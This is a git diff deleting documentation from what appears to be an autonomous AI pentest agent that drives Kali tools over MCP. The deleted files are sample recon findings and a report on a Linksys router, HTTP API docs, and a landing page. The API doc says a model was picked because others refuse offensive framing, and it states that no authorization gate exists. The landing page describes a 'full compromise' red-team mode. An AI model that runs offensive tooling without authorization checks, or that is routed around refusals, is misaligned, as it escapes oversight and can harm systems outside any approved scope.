(nmap/whatweb/nuclei/ffuf/sqlmap, via `kali_run`) with a **real browser-via MCP** — the `playwright-mcp` container (headless Chromium, official Microsoft image), registered-as the second MCP server (`playwright`) in the profile. This preserves the project's principle-(**everything goes through MCP, zero native toolsets**): Hermes gains `mcp_playwright_*` for-navigation/DOM/XSS without re-enabling the native `browser` toolset. Its guardrails are aligned with-the project's philosophy: there is no gate that blocks, but there is audit discipline and-reproducible evidence so the exploitation can be re-established (and the leakage warning from the-auxiliary client is kept: redact credentials, `title_generation` off in sensitive engagements).diff --git a/docs/example-findings.jsonl b/docs/example-findings.jsonldeleted file mode 100644index 11b0f48..0000000--- a/docs/example-findings.jsonl+++ /dev/null@@ -1,6 +0,0 @@-{"title": "Device identified via JNAP GetDeviceInfo: Linksys MR7350 Dual-Band Mesh WiFi 6 Router, hardware v1, firmware 1.1.7.216943 (2026-08-20)", "state": "confirmed", "phase": "observe", "technique_id": "T1592", "target": "192.0.2.1:80,443/tcp (POST /JNAP/)", "evidence": {"command": "curl -sS --max-time 15 -X POST http://192.0.2.1/JNAP/ -H 'X-JNAP-Action: http://linksys.com/jnap/core/GetDeviceInfo' -H 'Content-Type: application/json' -d '{}'", "output": "{\"result\": \"OK\", \"output\": {\"manufacturer\": \"Linksys\", \"modelNumber\": \"MR7350\", \"hardwareVersion\": \"1\", \"description\": \"Linksys Dual-Band Mesh WiFi 6 Router\", \"serialNumber\": \"REDACTED\", \"firmwareVersion\": \"1.1.7.216943\", \"firmwareDate\": \"2026-08-20T23:58:42Z\", \"services\": [\"http://linksys.com/jnap/core/Core\", ... ~100 JNAP service URIs ...]}} [HTTP 200]", "returncode": 0}, "confidence": "high", "id": "a1b4d399a5734327a4787d80d8b40868", "recorded_at": "2026-10-16T18:24:04.424285Z"}-{"title": "Service/version inventory: dnsmasq 2.85 (53), lighttpd 1.4.39 (80/443/8080), SMB (139/445), MQTT (1883), UPnP Portable SDK 1.6.19 (49152); OS Linux 4.4.60", "state": "confirmed", "phase": "observe", "technique_id": "T1595", "target": "192.0.2.1 (ports 53,80,139,443,445,1883,8080,49152)", "evidence": {"command": "nmap -Pn -sV -T4 -p 53,80,139,443,445,1883,8080,49152 192.0.2.1", "output": "Nmap scan report for Router-EXAMPLE (192.0.2.1)\nHost is up (0.0025s latency).\nPORT STATE SERVICE VERSION\n53/tcp open domain dnsmasq 2.85\n80/tcp open http lighttpd 1.4.39\n139/tcp open netbios-ssn?\n443/tcp open ssl/http lighttpd 1.4.39\n445/tcp open microsoft-ds\n1883/tcp open mqtt\n8080/tcp open http lighttpd 1.4.39\n49152/tcp open upnp Portable SDK for UPnP devices 1.6.19 (Linux 4.4.60; UPnP 1.0)\nService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel:4.4.60\nSMB probe: Workgroup ROUTER-EXAMPLE\nNmap done: 1 IP address (1 host up) scanned in 129.78 seconds", "returncode": 0}, "confidence": "high", "id": "f77b618079c846138a8c192b0a161446", "recorded_at": "2026-10-16T18:24:04.443666Z"}-{"title": "Web admin interface served by lighttpd/1.4.39 on 80 and 443 (HTTP 200, X-Frame-Options: SAMEORIGIN, no-store); port 8080 also lighttpd/1.4.39 but returns 403 Forbidden", "state": "confirmed", "phase": "observe", "technique_id": "T1592", "target": "192.0.2.1:80,443,8080/tcp", "evidence": {"command": "curl -sS -I --max-time 15 http://192.0.2.1/ ; curl -sSk -I --max-time 15 https://192.0.2.1/ ; curl -sS -I --max-time 15 http://192.0.2.1:8080/", "output": "=== HTTP 80 ===\nHTTP/1.1 200 OK\nX-Frame-Options: SAMEORIGIN\nContent-Type: text/html; charset=UTF-8\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\nPragma: no-cache\nCONTENT-LANGUAGE: en\nServer: lighttpd/1.4.39\n=== HTTPS 443 ===\nHTTP/1.1 200 OK\n(same headers)\nServer: lighttpd/1.4.39\n=== HTTP 8080 ===\nHTTP/1.1 403 Forbidden\nContent-Type: text/html\nContent-Length: 345\nServer: lighttpd/1.4.39", "returncode": 0}, "confidence": "high", "id": "263e294268be40799d5b30e3070c0704", "recorded_at": "2026-10-16T18:24:04.451995Z"}-{"title": "Admin UI is the Linksys RAINIER web stack, UI build 1.0.99.216943 ('Linksys Smart Wi-Fi', RAINIER.browser JS framework, assets under /ui/1.0.99.216943/)", "state": "confirmed", "phase": "observe", "technique_id": "T1592", "target": "192.0.2.1:80/tcp (GET /)", "evidence": {"command": "curl -sS --max-time 15 http://192.0.2.1/ | head -c 3000", "output": "<title>Linksys Smart Wi-Fi</title>\n<meta name=\"description\" content=\"Included with your Linksys Smart Wi-Fi Router, ...\">\n<noscript><meta http-equiv=\"REFRESH\" content=\"0;url=/ui/1.0.99.216943/dynamic/script-disabled.html\"></noscript>\n<script ... src=\"/ui/1.0.99.216943/static/js/shared/shared-util.js\"></script>\n<script ... src=\"/ui/1.0.99.216943/static/js/any_device/jnap-simple.js\"></script>\nvar browser = RAINIER.browser, ...\nwindow.location.replace('/ui/1.0.99.216943/dynamic/login.html' + urlSuffix);\nRAINIER.shared.util.setCookie('visited-index', true, null, '/');", "returncode": 0}, "confidence": "high", "id": "5e76b2c05505474ca6da76f5cfa1479d", "recorded_at": "2026-10-16T18:24:04.458454Z"}-{"title": "HTTPS on 443 negotiates TLSv1.2 (ECDHE-RSA-AES256-GCM-SHA384, secp256r1) with a self-signed certificate CN=linksyssmartwifi.com issued by O=Belkin International, Inc.", "state": "confirmed", "phase": "observe", "technique_id": "T1592", "target": "192.0.2.1:443/tcp", "evidence": {"command": "curl -sSkv --max-time 15 https://192.0.2.1/ -o /dev/null 2>&1 | grep -Ei 'SSL connection|subject:|issuer:|TLS|cipher'", "output": "* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 / secp256r1 / rsaEncryption\n* subject: C=US; ST=California; O=\"Belkin International, Inc.\"; OU=\"Belkin International, Inc.\"; CN=linksyssmartwifi.com\n* issuer: C=US; ST=California; O=\"Belkin International, Inc.\"; OU=\"Belkin International, Inc.\"; CN=linksyssmartwifi.com", "returncode": 0}, "confidence": "high", "id": "ccb740a9412e42af8dab2ccf61844cc0", "recorded_at": "2026-10-16T18:24:04.465931Z"}-{"title": "JNAP management API exposed without authentication: unauthenticated POST /JNAP/ discloses full device info (model, serial, firmware) and the complete ~100-URI JNAP service surface on both 80 and 443", "state": "confirmed", "phase": "observe", "technique_id": "T1592", "target": "192.0.2.1:80,443/tcp (POST /JNAP/)", "evidence": {"command": "curl -sS --max-time 15 -X POST http://192.0.2.1/JNAP/ -H 'X-JNAP-Action: http://linksys.com/jnap/core/GetDeviceInfo' -H 'Content-Type: application/json' -d '{}' (no credentials, no session, no auth headers sent)", "output": "{\"result\": \"OK\", \"output\": {\"manufacturer\": \"Linksys\", \"modelNumber\": \"MR7350\", \"serialNumber\": \"REDACTED\", \"firmwareVersion\": \"1.1.7.216943\", \"services\": [ ... ]}} [HTTP 200] -- identical result over HTTPS 443. Note: the short action form '/jnap/core/GetDeviceInfo' returns {\"result\": \"_ErrorUnknownAction\"}; the canonical form 'http://linksys.com/jnap/core/GetDeviceInfo' returns OK.", "returncode": 0}, "confidence": "high", "id": "2903037fdefb4d7ab8946de51fe7c69a", "recorded_at": "2026-10-16T18:24:04.473228Z"}diff --git a/docs/example-report.md b/docs/example-report.mddeleted file mode 100644index bf55156..0000000--- a/docs/example-report.md+++ /dev/null@@ -1,227 +0,0 @@-<!--- SAMPLE REPORT — for documentation only.- This is a real report produced by the `pentest-report` skill (report_gen.py) during an- authorized, operator-owned fingerprint engagement, then REDACTED for publication: the target- IP is replaced with the RFC 5737 documentation address 192.0.2.1, and the device serial number- and hostname are redacted. The report body below is the verbatim output of report_gen.py- (which emits English). See docs/example-findings.jsonl for the matching findings store.--->--# Pentest report — engagement `eng-linksys-mr7350-fingerprint`--- **Generated:** 2026-10-16T18:24:20Z-- **Total recorded findings:** 6--## Executive summary--The engagement confirmed **6** finding(s) with reproducible evidence. The technical detail, evidence and remediation for each are below. Items marked as hypothesis or partial require further verification and do not constitute confirmed exploitation.--## Summary by status--| Status | Count |-|---|---|-| Confirmed | 6 |-| Partial | 0 |-| Hypothesis | 0 |-| Discarded | 0 |--## Methodology--The engagement was driven by an **OODA** loop (Observe-Orient-Decide-Act), orienting by **MITRE ATT&CK** tactics and techniques and drawing on **PTES** and **OWASP** practices according to the surface (network, cloud, web). Each finding requires reproducible evidence of the executed command; there is no confirmed finding without proof.--## Findings--### Confirmed (6)--### F1. Device identified via JNAP GetDeviceInfo: Linksys MR7350 Dual-Band Mesh WiFi 6 Router, hardware v1, firmware 1.1.7.216943 (2026-08-20)--| Field | Value |-|---|---|-| Status | Confirmed |-| OODA phase | observe |-| ATT&CK technique | T1592 |-| Target | 192.0.2.1:80,443/tcp (POST /JNAP/) |-| Confidence | high |-| CVSS 3.1 | — (not scored) |-| CWE | — |--**Evidence:**--**Command:**-````-curl -sS --max-time 15 -X POST http://192.0.2.1/JNAP/ -H 'X-JNAP-Action: http://linksys.com/jnap/core/GetDeviceInfo' -H 'Content-Type: application/json' -d '{}'-````-**Return code:** `0`-**Output (verbatim, untrusted data):**-````-{"result": "OK", "output": {"manufacturer": "Linksys", "modelNumber": "MR7350", "hardwareVersion": "1", "description": "Linksys Dual-Band Mesh WiFi 6 Router", "serialNumber": "REDACTED", "firmwareVersion": "1.1.7.216943", "firmwareDate": "2026-08-20T23:58:42Z", "services": ["http://linksys.com/jnap/core/Core", ... ~100 JNAP service URIs ...]}} [HTTP 200]-````--### F2. Service/version inventory: dnsmasq 2.85 (53), lighttpd 1.4.39 (80/443/8080), SMB (139/445), MQTT (1883), UPnP Portable SDK 1.6.19 (49152); OS Linux 4.4.60--| Field | Value |-|---|---|-| Status | Confirmed |-| OODA phase | observe |-| ATT&CK technique | T1595 |-| Target | 192.0.2.1 (ports 53,80,139,443,445,1883,8080,49152) |-| Confidence | high |-| CVSS 3.1 | — (not scored) |-| CWE | — |--**Evidence:**--**Command:**-````-nmap -Pn -sV -T4 -p 53,80,139,443,445,1883,8080,49152 192.0.2.1-````-**Return code:** `0`-**Output (verbatim, untrusted data):**-````-Nmap scan report for Router-EXAMPLE (192.0.2.1)-Host is up (0.0025s latency).-PORT STATE SERVICE VERSION-53/tcp open domain dnsmasq 2.85-80/tcp open http lighttpd 1.4.39-139/tcp open netbios-ssn?-443/tcp open ssl/http lighttpd 1.4.39-445/tcp open microsoft-ds-1883/tcp open mqtt-8080/tcp open http lighttpd 1.4.39-49152/tcp open upnp Portable SDK for UPnP devices 1.6.19 (Linux 4.4.60; UPnP 1.0)-Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel:4.4.60-SMB probe: Workgroup ROUTER-EXAMPLE-Nmap done: 1 IP address (1 host up) scanned in 129.78 seconds-````--### F3. Web admin interface served by lighttpd/1.4.39 on 80 and 443 (HTTP 200, X-Frame-Options: SAMEORIGIN, no-store); port 8080 also lighttpd/1.4.39 but returns 403 Forbidden--| Field | Value |-|---|---|-| Status | Confirmed |-| OODA phase | observe |-| ATT&CK technique | T1592 |-| Target | 192.0.2.1:80,443,8080/tcp |-| Confidence | high |-| CVSS 3.1 | — (not scored) |-| CWE | — |--**Evidence:**--**Command:**-````-curl -sS -I --max-time 15 http://192.0.2.1/ ; curl -sSk -I --max-time 15 https://192.0.2.1/ ; curl -sS -I --max-time 15 http://192.0.2.1:8080/-````-**Return code:** `0`-**Output (verbatim, untrusted data):**-````-=== HTTP 80 ===-HTTP/1.1 200 OK-X-Frame-Options: SAMEORIGIN-Content-Type: text/html; charset=UTF-8-Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0-Pragma: no-cache-CONTENT-LANGUAGE: en-Server: lighttpd/1.4.39-=== HTTPS 443 ===-HTTP/1.1 200 OK-(same headers)-Server: lighttpd/1.4.39-=== HTTP 8080 ===-HTTP/1.1 403 Forbidden-Content-Type: text/html-Content-Length: 345-Server: lighttpd/1.4.39-````--### F4. Admin UI is the Linksys RAINIER web stack, UI build 1.0.99.216943 ('Linksys Smart Wi-Fi', RAINIER.browser JS framework, assets under /ui/1.0.99.216943/)--| Field | Value |-|---|---|-| Status | Confirmed |-| OODA phase | observe |-| ATT&CK technique | T1592 |-| Target | 192.0.2.1:80/tcp (GET /) |-| Confidence | high |-| CVSS 3.1 | — (not scored) |-| CWE | — |--**Evidence:**--**Command:**-````-curl -sS --max-time 15 http://192.0.2.1/ | head -c 3000-````-**Return code:** `0`-**Output (verbatim, untrusted data):**-````-<title>Linksys Smart Wi-Fi</title>-<meta name="description" content="Included with your Linksys Smart Wi-Fi Router, ...">-<noscript><meta http-equiv="REFRESH" content="0;url=/ui/1.0.99.216943/dynamic/script-disabled.html"></noscript>-<script ... src="/ui/1.0.99.216943/static/js/shared/shared-util.js"></script>-<script ... src="/ui/1.0.99.216943/static/js/any_device/jnap-simple.js"></script>-var browser = RAINIER.browser, ...-window.location.replace('/ui/1.0.99.216943/dynamic/login.html' + urlSuffix);-RAINIER.shared.util.setCookie('visited-index', true, null, '/');-````--### F5. HTTPS on 443 negotiates TLSv1.2 (ECDHE-RSA-AES256-GCM-SHA384, secp256r1) with a self-signed certificate CN=linksyssmartwifi.com issued by O=Belkin International, Inc.--| Field | Value |-|---|---|-| Status | Confirmed |-| OODA phase | observe |-| ATT&CK technique | T1592 |-| Target | 192.0.2.1:443/tcp |-| Confidence | high |-| CVSS 3.1 | — (not scored) |-| CWE | — |--**Evidence:**--**Command:**-````-curl -sSkv --max-time 15 https://192.0.2.1/ -o /dev/null 2>&1 | grep -Ei 'SSL connection|subject:|issuer:|TLS|cipher'-````-**Return code:** `0`-**Output (verbatim, untrusted data):**-````-* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 / secp256r1 / rsaEncryption-* subject: C=US; ST=California; O="Belkin International, Inc."; OU="Belkin International, Inc."; CN=linksyssmartwifi.com-* issuer: C=US; ST=California; O="Belkin International, Inc."; OU="Belkin International, Inc."; CN=linksyssmartwifi.com-````--### F6. JNAP management API exposed without authentication: unauthenticated POST /JNAP/ discloses full device info (model, serial, firmware) and the complete ~100-URI JNAP service surface on both 80 and 443--| Field | Value |-|---|---|-| Status | Confirmed |-| OODA phase | observe |-| ATT&CK technique | T1592 |-| Target | 192.0.2.1:80,443/tcp (POST /JNAP/) |-| Confidence | high |-| CVSS 3.1 | — (not scored) |-| CWE | — |--**Evidence:**--**Command:**-````-curl -sS --max-time 15 -X POST http://192.0.2.1/JNAP/ -H 'X-JNAP-Action: http://linksys.com/jnap/core/GetDeviceInfo' -H 'Content-Type: application/json' -d '{}' (no credentials, no session, no auth headers sent)-````-**Return code:** `0`-**Output (verbatim, untrusted data):**-````-{"result": "OK", "output": {"manufacturer": "Linksys", "modelNumber": "MR7350", "serialNumber": "REDACTED", "firmwareVersion": "1.1.7.216943", "services": [ ... ]}} [HTTP 200] -- identical result over HTTPS 443. Note: the short action form '/jnap/core/GetDeviceInfo' returns {"result": "_ErrorUnknownAction"}; the canonical form 'http://linksys.com/jnap/core/GetDeviceInfo' returns OK.-````--## Scope and limitations--This report reflects only the findings recorded during the engagement against operator-authorized targets. Responsibility for the scope rests with the operator. The included evidence is raw tool output, presented verbatim.-------> **Note.** This is a redacted sample of a real `pentest-report` artifact produced by Vulnerator AI-> (report body generated verbatim by `report_gen.py`). The target address is the RFC 5737-> documentation range (192.0.2.1); the device serial number and hostname were redacted. Product and-> version strings are left intact as they identify the product, not a specific unit.diff --git a/docs/http-api.md b/docs/http-api.mddeleted file mode 100644index 5d55816..0000000--- a/docs/http-api.md+++ /dev/null@@ -1,122 +0,0 @@-# Driving Hermes over the raw HTTP API (`:8642`)--> This is the **low-level** path. For most assistants (Claude Code, Kiro, Cursor, BugTraceAI) the-> recommended way to pilot an engagement is the MCP front door — see the **"Driving a pentest →-> From an MCP client"** section in the [README](../README.md). The MCP server is a thin wrapper-> over exactly the endpoints documented here, so this page is the reference for the underlying-> contract (and for CI scripts / plain `curl`).--Hermes exposes an **OpenAI-compatible** API server (enabled in the profile,-`agent-ooda/profile/config.yaml` → `platforms.api_server`). It lets an assistant or script-**trigger and observe** a pentest over HTTP without entering the `hermes chat` TUI.--**Role of the external caller: trigger and observer, not brain.** The one that reasons and runs the-pentest is Hermes (driven by the `mistralai/mistral-large-4-0` model, chosen on purpose because-Claude-class models reject the offensive framing of authorized pentesting). The caller only sends-the engagement prompt and reads the events; it must **not** try to "think" the pentest or-reinterpret the Kali tools.--**Authentication:** every call carries `Authorization: Bearer <HERMES_API_SERVER_KEY>` (the same key-from the `.env`).--## Two access modes--**Mode A — published port (default).** The compose publishes `:8642` to the host (configurable with-`HERMES_API_HOST_PORT`, default `8642`). Call `http://localhost:8642` directly:--```sh-export KEY=$(grep '^HERMES_API_SERVER_KEY=' .env | cut -d= -f2)--# alive?-curl -s http://localhost:8642/health # -> {"status":"ok","platform":"hermes-agent","version":"..."}-```--**Mode B — without opening a port (`exec`).** If you prefer not to publish `:8642` to the host, delete-the `ports:` block of the `ooda-agent` service and talk to the API from inside the container:--```sh-docker compose exec ooda-agent \- curl -s http://localhost:8642/health-# If you launched the stack with '-p <project>', pass it here too:-# docker compose -p pentest-ana exec ooda-agent curl -s http://localhost:8642/health-```--All the `curl` calls below are the same in both modes; only the prefix changes (direct host vs.-`docker compose exec ooda-agent`).--## Main flow (runs API)--The `runs` pattern is designed precisely for this: launch a long job and subscribe to its progress-instead of handling the streaming by hand.--```sh-# 1) Launch the pentest. The body carries the engagement in natural language in the "input" field.-# It responds {"run_id":"run_abc123","status":"started"}.-curl -s http://localhost:8642/v1/runs \- -H "Authorization: Bearer $KEY" \- -H "Content-Type: application/json" \- -d '{- "input": "Authorized pentest against 10.0.0.0/24 (scope: that /24 only). Enumerate, identify exposed services and test access paths. Report confirmed findings with evidence."- }'--# 2) Observe progress: SSE stream of lifecycle events (OODA, tool.start/complete, ...).-curl -N http://localhost:8642/v1/runs/run_abc123/events \- -H "Authorization: Bearer $KEY"--# 2b) Or query the point-in-time status (status: started | running | completed | failed | cancelled).-curl -s http://localhost:8642/v1/runs/run_abc123 \- -H "Authorization: Bearer $KEY"--# 3) (Optional) Inject guidance mid-run. Only while status=running; it is delivered at the-# next tool boundary. If the run no longer accepts steer, it responds 409.-curl -s http://localhost:8642/v1/runs/run_abc123/steer \- -H "Authorization: Bearer $KEY" \- -H "Content-Type: application/json" \- -d '{"input": "Focus on port 445 first."}'--# 4) (Optional) Interrupt the run.-curl -s http://localhost:8642/v1/runs/run_abc123/stop \- -H "Authorization: Bearer $KEY"-```--Fields of the `POST /v1/runs` body (verified against Hermes' official docs): `input` (string,-required) and, optional, `session_id`, `instructions`, `conversation_history`,-`previous_response_id`. For safe retries you can send the `Idempotency-Key` header.--## Alternative: `POST /v1/chat/completions` (OpenAI-compatible)--If your client already speaks the OpenAI format, you can use the classic endpoint (SSE streaming)-instead of the runs API:--```sh-curl -s http://localhost:8642/v1/chat/completions \- -H "Authorization: Bearer $KEY" \- -H "Content-Type: application/json" \- -d '{- "model": "hermes-agent",- "messages": [{"role": "user", "content": "Authorized pentest against 10.0.0.0/24 (scope: that /24 only). Report confirmed findings with evidence."}]- }'-```--## Pattern an assistant/script should follow--1. `GET /health` to confirm the stack is alive.-2. `POST /v1/runs` with the engagement in `input` (explicit target and **scope**, in natural- language). Save the `run_id` from the response.-3. Follow the run to a terminal state: read the SSE from `GET /v1/runs/{run_id}/events`, or poll- `GET /v1/runs/{run_id}` until `completed` / `failed` / `cancelled`.-4. Summarize the result (findings, final status). For the formal deliverable, Hermes itself- generates the Markdown report via the `pentest-report` skill and leaves it as an artifact in the- data channel (`:8901`).--The caller **does not decide** the tools nor reinterpret the Kali output: that is Hermes' job. Its-role is to trigger, observe and summarize.--## Security note--Publishing `:8642` to the host **lowers the network barrier** the stack had on purpose (before, the-API server was only reachable over the internal docker network). From there on, the endpoint's only-protection is the `HERMES_API_SERVER_KEY` Bearer: use it **only on a controlled machine/environment**,-and if you don't need external access use Mode B (`exec`, without opening a port). See the-**Security & scope** section of the [README](../README.md): there is no scope-guard or authorization-gate by default; responsibility for the scope rests entirely with the operator.diff --git a/docs/index.html b/docs/index.htmldeleted file mode 100644index 0f17368..0000000--- a/docs/index.html+++ /dev/null@@ -1,706 +0,0 @@-<!DOCTYPE html>-<html lang="en">-<head>- <meta charset="UTF-8">- <meta name="viewport" content="width=device-width, initial-scale=1.0">- <meta name="robots" content="index, follow">- <meta name="googlebot" content="index, follow">- <!-- Canonical and SEO: main content is always in the DOM, boot screen is cosmetic only -->- <link rel="canonical" href="https://irraz.github.io/vulnerator-ai/">- <title>Vulnerator AI — Unholy Pentest</title>- <meta name="description" content="An OODA pentest driven by Hermes talking directly to a Kali container via MCP. Death-metal cyberpunk. offerings to the Kali.">- <meta name="theme-color" content="#0a0a0a">- <meta property="og:title" content="Vulnerator AI — Unholy Pentest">- <meta property="og:description" content="An OODA pentest driven by Hermes talking directly to a Kali container via MCP.">- <meta property="og:image" content="assets/vulnerator-ai-wallpaper-desktop.jpeg">- <meta property="og:type" content="website">- <link rel="icon" href="assets/vulnerator-ai-logo-transparent.png" type="image/png">- <link rel="stylesheet" href="styles.css?v=3">- <!-- boot.js is deferred so it runs after DOM is ready -->- <script src="boot.js" defer></script>- <!-- page.js: post-boot ambient features (toasts + audio visualiser) -->- <script src="page.js" defer></script>-</head>-<body>-- <!-- SVG filter definitions for screen displacement glitch -->- <svg xmlns="http://www.w3.org/2000/svg" style="position:absolute;width:0;height:0;overflow:hidden" aria-hidden="true">- <defs>- <!-- Boot screen displacement filter -->- <filter id="boot-glitch-filter" x="-8%" y="-8%" width="116%" height="116%" color-interpolation-filters="sRGB">- <feTurbulence id="bt-turb" type="turbulence"- baseFrequency="0.000 0.72" numOctaves="1" seed="7"- stitchTiles="stitch" result="turb"/>- <feDisplacementMap id="bt-disp"- in="SourceGraphic" in2="turb"- scale="0" xChannelSelector="R" yChannelSelector="B"/>- </filter>- <!-- Hero background displacement filter (same family, independent control) -->- <filter id="hero-glitch-filter" x="-8%" y="-8%" width="116%" height="116%" color-interpolation-filters="sRGB">- <feTurbulence id="hg-turb" type="turbulence"- baseFrequency="0.000 0.72" numOctaves="1" seed="42"- stitchTiles="stitch" result="turb"/>- <feDisplacementMap id="hg-disp"- in="SourceGraphic" in2="turb"- scale="0" xChannelSelector="R" yChannelSelector="B"/>- </filter>- </defs>- </svg>-- <!-- ── Boot sequence overlay ─────────────────────────────────── -->- <div id="boot" role="dialog" aria-modal="true" aria-label="VULNERATOR-AI system initialisation">- <div class="boot__inner">- <div id="boot-output"></div>- <p id="boot-prompt">[ ENTER / CLICK → INITIALISE ]</p>- </div>- </div>-- <!-- Ambient audio – triggered by user gesture inside the boot screen -->- <audio id="site-audio" src="assets/vulnerator-ai-song.mp3" loop preload="none"></audio>-- <!-- Audio mute toggle – revealed after boot dismissal -->- <div id="audio-ctrl" aria-label="Audio controls">- <button id="audio-mute" type="button" aria-label="Mute audio"></button>- </div>-- <header class="hero">- <picture class="hero__bg">- <source media="(max-width: 640px)" srcset="assets/vulnerator-ai-wallpaper-mobile.jpeg">- <img src="assets/vulnerator-ai-wallpaper-desktop.jpeg"- alt="Cyberpunk key art: a hacker astronaut floating in orbit around a 'DATA HAVEN' station amid drifting servers and circuit boards."- decoding="async">- </picture>- <div class="hero__overlay"></div>- <div class="hero__content">- <p class="hero__eyebrow">Unholy Pentest</p>- <img class="hero__logo"- src="assets/vulnerator-ai-logo-transparent.png"- alt="Vulnerator AI — death-metal lettering logo"- width="1536" height="1024" decoding="async">- <p class="hero__tagline">offerings to the Kali</p>- <p class="hero__sub">summoned from the depths of the OODA abyss · mmxxvi</p>- <p class="hero__pitch">- An OODA pentest driven by <strong>Hermes</strong> talking- <strong>directly</strong> to a <strong>Kali</strong> container via MCP.- </p>- <div class="hero__cta">- <a class="cta-btn cta-btn--primary" href="https://github.com/irraz/vulnerator-ai" rel="noopener" target="_blank">- <svg class="cta-icon" xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="currentColor" aria-hidden="true"><path d="M12 0C5.37 0 0 5.37 0 12c0 5.31 3.435 9.795 8.205 11.385.6.105.825-.255.825-.57 0-.285-.015-1.23-.015-2.235-3.015.555-3.795-.735-4.035-1.41-.135-.345-.72-1.41-1.23-1.695-.42-.225-1.02-.78-.015-.795.945-.015 1.62.87 1.845 1.23 1.08 1.815 2.805 1.305 3.495.99.105-.78.42-1.305.765-1.605-2.67-.3-5.46-1.335-5.46-5.925 0-1.305.465-2.385 1.23-3.225-.12-.3-.54-1.53.12-3.18 0 0 1.005-.315 3.3 1.23.96-.27 1.98-.405 3-.405s2.04.135 3 .405c2.295-1.56 3.3-1.23 3.3-1.23.66 1.65.24 2.88.12 3.18.765.84 1.23 1.905 1.23 3.225 0 4.605-2.805 5.625-5.475 5.925.435.375.81 1.095.81 2.22 0 1.605-.015 2.895-.015 3.3 0 .315.225.69.825.57A12.02 12.02 0 0 0 24 12c0-6.63-5.37-12-12-12z"/></svg>- View on GitHub- </a>- <a class="cta-btn cta-btn--secondary" href="#quick-start">Quick Start</a>- </div>- <div class="hero__badges">- <a class="hbadge hbadge--link" href="https://github.com/irraz/vulnerator-ai/stargazers" rel="noopener" target="_blank" title="Star on GitHub">- <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 24 24" fill="currentColor" aria-hidden="true"><path d="M12 .587l3.668 7.568L24 9.306l-6 5.849 1.416 8.245L12 19.083l-7.416 4.317L6 15.155 0 9.306l8.332-1.151z"/></svg>- <span id="gh-stars">—</span> stars- </a>- <a class="hbadge hbadge--link" href="https://github.com/irraz/vulnerator-ai/releases/latest" rel="noopener" target="_blank" title="Latest release">- v<span id="version-badge">1.6.0</span>- </a>- <a class="hbadge hbadge--link" href="https://github.com/irraz/vulnerator-ai/fork" rel="noopener" target="_blank" title="Fork on GitHub">- <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 16 16" fill="currentColor" aria-hidden="true"><path d="M5 3.25a.75.75 0 1 1-1.5 0 .75.75 0 0 1 1.5 0zm0 2.122a2.25 2.25 0 1 0-1.5 0v.878A2.25 2.25 0 0 0 5.75 8.5h1.5v2.128a2.251 2.251 0 1 0 1.5 0V8.5h1.5a2.25 2.25 0 0 0 2.25-2.25v-.878a2.25 2.25 0 1 0-1.5 0v.878a.75.75 0 0 1-.75.75h-4.5A.75.75 0 0 1 5 6.25v-.878zm3.75 7.378a.75.75 0 1 1-1.5 0 .75.75 0 0 1 1.5 0zm3-8.75a.75.75 0 1 1-1.5 0 .75.75 0 0 1 1.5 0z"/></svg>- Fork- </a>- <a class="hbadge hbadge--link hbadge--green" href="https://github.com/irraz/vulnerator-ai/blob/master/LICENSE" rel="noopener" target="_blank" title="MIT License">- Open Source · MIT- </a>- </div>- </div>- </header>-- <main>- <section class="section" aria-labelledby="what-title">- <div class="wrap">- <h2 class="section__title" id="what-title">What it is</h2>- <p class="prose">- An OODA (Observe-Orient-Decide-Act) pentest loop where the driving brain is- <strong>Hermes</strong> (Nous Research) and the tools run on a Kali governed by an- MCP server. Hermes decides what to run and launches it directly against the target.- </p>- <p class="prose">- A deliberately minimal design: <strong>no core, no REST API, no UI, no gates</strong>.- Three containers — the agent and two MCP servers — driving the engagement end to end.- </p>- </div>- </section>-- <section class="section" aria-labelledby="arch-title">- <div class="wrap">- <h2 class="section__title" id="arch-title">Architecture</h2>- <p class="section__lead">Three containers.</p>- <ul class="cards" role="list">- <li class="card">- <h3 class="card__name">kali</h3>- <p class="card__body">- Deterministic runtime for pentest tools: nmap, nuclei, sqlmap, ffuf, gobuster,- Prowler, ScoutSuite and more. Exposes the <code>kali-mcp</code> server.- </p>- </li>- <li class="card">- <h3 class="card__name">playwright-mcp</h3>- <p class="card__body">- A real headless Chromium browser exposed over MCP — the web flank for- navigation, DOM and interaction, with zero native toolsets.- </p>- </li>- <li class="card">- <h3 class="card__name">ooda-agent</h3>- <p class="card__body">- Hermes as the OODA loop driver and client of both MCP servers,- running the pentest tools directly.- </p>- </li>- </ul>- </div>- </section>-- <section class="section" aria-labelledby="stack-title">- <div class="wrap">- <h2 class="section__title" id="stack-title">Built with</h2>- <ul class="chips" role="list">- <li class="chip">Docker</li>- <li class="chip">Hermes Agent · Nous Research</li>- <li class="chip">Kali Linux</li>- </ul>- </div>- </section>-- <!-- ── Engagement modes ── -->- <section class="section" aria-labelledby="modes-title" id="modes">- <div class="wrap">- <h2 class="section__title" id="modes-title">Engagement modes</h2>- <p class="prose">Declare the mode at the start of every engagement. The agent enforces the scope itself.</p>- <ul class="cards" role="list">- <li class="card card--green">- <h3 class="card__name card__name--green">mode: pentest</h3>- <p class="card__body">- Stop at exploitability evidence. Confirms the crash, documents the CVE, records CVSS,- affected / patched versions and remediation steps. <strong>No root shell.</strong>- Delivers an enriched Markdown + HTML report.- </p>- </li>- <li class="card card--red">- <h3 class="card__name">mode: redteam · ctf</h3>- <p class="card__body">- Full compromise. Exploit, escalate, capture objectives (flags, credentials, data).- Uses all available resources. The agent stops only when the objective is reached- or all routes are exhausted.- </p>- </li>- </ul>- </div>- </section>-- <!-- ── OODA engine features ── -->- <section class="section" aria-labelledby="features-title" id="features">- <div class="wrap">- <h2 class="section__title" id="features-title">OODA engine</h2>- <p class="section__lead">Observe → Orient → Decide → Act → Report</p>- <ul class="feature-list" role="list">- <li class="feature-item">- <span class="feature-icon">△</span>- <div>- <strong>Direct MCP execution</strong> — Hermes calls tools directly on Kali. No intermediate API, no validation layer, no overhead. When it calls <code>mcp_kali_kali_run</code>, the shell command runs for real and returns real output.- </div>- </li>- 